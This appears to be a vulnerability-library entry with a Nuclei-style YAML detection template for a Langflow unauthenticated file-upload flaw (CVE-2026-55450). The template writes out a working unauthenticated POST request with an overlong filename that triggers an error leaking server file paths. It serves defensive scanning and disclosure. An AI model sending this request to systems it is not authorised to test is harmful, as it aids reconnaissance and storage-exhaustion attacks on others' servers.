/Vulnerability Library

Langflow < 1.9.1 - Unauthenticated File Upload

CVE-2026-55450
Verified

Description

Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.

Severity

Critical

CVSS Score

9.3

Exploit Probability

12%

Published Date

July 13, 2026

Template Author

xtr0nix

CVE-2026-55450.yaml
id: CVE-2026-55450

info:
  name: Langflow < 1.9.1 - Unauthenticated File Upload
  author: xtr0nix
  severity: critical
  description: |
   Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
  impact: |
    Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
  remediation: |
    Update to version 1.9.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
    cvss-score: 9.3
    cve-id: CVE-2026-55450
    epss-score: 0.11819
    epss-percentile: 0.95666
    cwe-id: CWE-306,CWE-400,CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,langflow,unauth,intrusive

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111"

    body: |
      --boundary
      Content-Disposition: form-data; name="file"; filename="x.{{repeat('a', 300)}}"
      Content-Type: text/plain

      probe
      --boundary--
    headers:
      Content-Type: multipart/form-data; boundary=boundary

    matchers:
      - type: dsl
        dsl:
          - status_code == 500
          - contains(body, "[Errno 36] File name too long")
          - contains(content_type, "application/json")
        condition: and
# digest: 4b0a00483046022100d522e05ee83d11b091c7b41bdb24ec49ae5088a47e097d685bfd04cbe4e15c62022100a6912e59c998e4311b026caf5609016d0c5dd31d3403f2b51b0a066d93073fa4:922c64590222798bb761d5b6d8e72950
9.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
CVE ID:
cve-2026-55450
CWE ID:
cwe-306, cwe-400, cwe-200

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735

Remediation Steps

Update to version 1.9.1 or later.